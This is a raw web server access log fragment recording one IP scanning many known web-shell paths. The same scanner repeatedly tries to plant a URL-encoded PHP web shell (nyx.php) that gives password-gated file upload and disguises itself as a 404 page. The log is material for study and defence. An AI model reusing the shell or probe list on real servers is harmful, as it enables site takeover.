AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:05 +0530] "GET /wp-includes/theme-cron.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:05 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:06 +0530] "GET /3301.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:07 +0530] "GET /alexus.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:07 +0530] "GET /alfaindex.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:08 +0530] "GET /wp-includes/Text/sidwso.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:08 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:09 +0530] "GET /wp-includes/css/wp-config.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:09 +0530] "GET /g.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:09 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:09 +0530] "GET /vita.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:10 +0530] "GET /leafmailer.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:12 +0530] "GET /xo.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:12 +0530] "GET /1.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:13 +0530] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:13 +0530] "GET /nee.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:14 +0530] "GET /wp-includes/pomo/config.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:14 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:15 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:15 +0530] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 302 263 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:15 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:16 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:16 +0530] "GET /xindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:17 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:17 +0530] "GET /sh3ll.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:18 +0530] "GET /modules/modules/modules.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:18 +0530] "GET /doc.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:18 +0530] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 302 256 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:18 +0530] "GET /templates/atomic/error.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:19 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:20 +0530] "GET /wp-includes/pomo/2.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:21 +0530] "GET 